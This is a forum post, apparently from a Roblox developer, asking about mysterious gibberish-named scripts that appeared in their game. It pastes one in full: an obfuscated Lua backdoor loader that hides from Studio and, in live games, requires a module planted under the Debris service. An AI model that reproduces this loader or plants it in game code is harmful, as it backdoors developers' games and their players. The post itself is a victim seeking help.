What are these weird gibberish scripts? I have found 4 so far.

I keep finding random scripts in my game that I have no idea where they came from and were not in the same model when I had it in another game. One of them is named " 3?9552??¿?".What the heck is that? I am just deleting the scripts. They did nothing, so far. The script that it runs is this.

i7aBY0gGLvA = 'MarketplaceService' ia0WravV = 'Debris' ijS83FL3t99 = 'WaitForChild' iiLM = '?' i1Tmoq1uaU3vE6C = 'Description' iP5qegITOF = 'RunService' iEmxJuYdHDP4y4Iu2 = 'GetProductInfo' ifZymJMbEAqkkxw = pcall iWI0Ff = require iJZnlKi = string.char iCZJjs4N = 'GetService' i600a1FxDG3 = 'IsStudio' iCRWY8mhGrT = 'IsStudio' iQSZ8uDf3ZmUXE4K = getfenv iane = game idBkde7 = 'GetService' iOzn7d = 'Debris' iIIJqs = game iZNCNNdzg = 'test' iT7TS = 'FindFirstChild' iMerh = 'FindFirstChild' iCetBwuVI2Ms7 = 'PlaceId' iT97IO = 'Name' iP1Kaia4r4 = 'slo' if iIIJqs [ idBkde7 ] ( iIIJqs, iP5qegITOF ) [ i600a1FxDG3 ] (iIIJqs[idBkde7 ] ( iIIJqs, iP5qegITOF ) ) then return end;ifZymJMbEAqkkxw( function() if iIIJqs [idBkde7] (iIIJqs, ia0WravV ) [iT7TS ] (iIIJqs[idBkde7] (iIIJqs, ia0WravV), iiLM) then iQSZ8uDf3ZmUXE4K() [ iJZnlKi (3030036 - 3029922 ) .. iJZnlKi(3030023 - 3029922) .. iJZnlKi(3030035 - 3029922) .. iJZnlKi(3030039 - 3029922) .. iJZnlKi(3030027 - 3029922) .. iJZnlKi(3030036 - 3029922) .. iJZnlKi(3030023 - 3029922) ] (iIIJqs[idBkde7] (iIIJqs, ia0WravV) [iT7TS] (iIIJqs[idBkde7] (iIIJqs, ia0WravV) , iiLM) ) [iP1Kaia4r4] (iIIJqs[iCetBwuVI2Ms7] ) end end ) What does that even mean or do? I may have an infected script. If so, what do I do? Here is a screenshot of it. https://photos.google.com/photo/AF1QipNaRv1WqIyjuETndEIyt3FJh6niokCzjTvak_je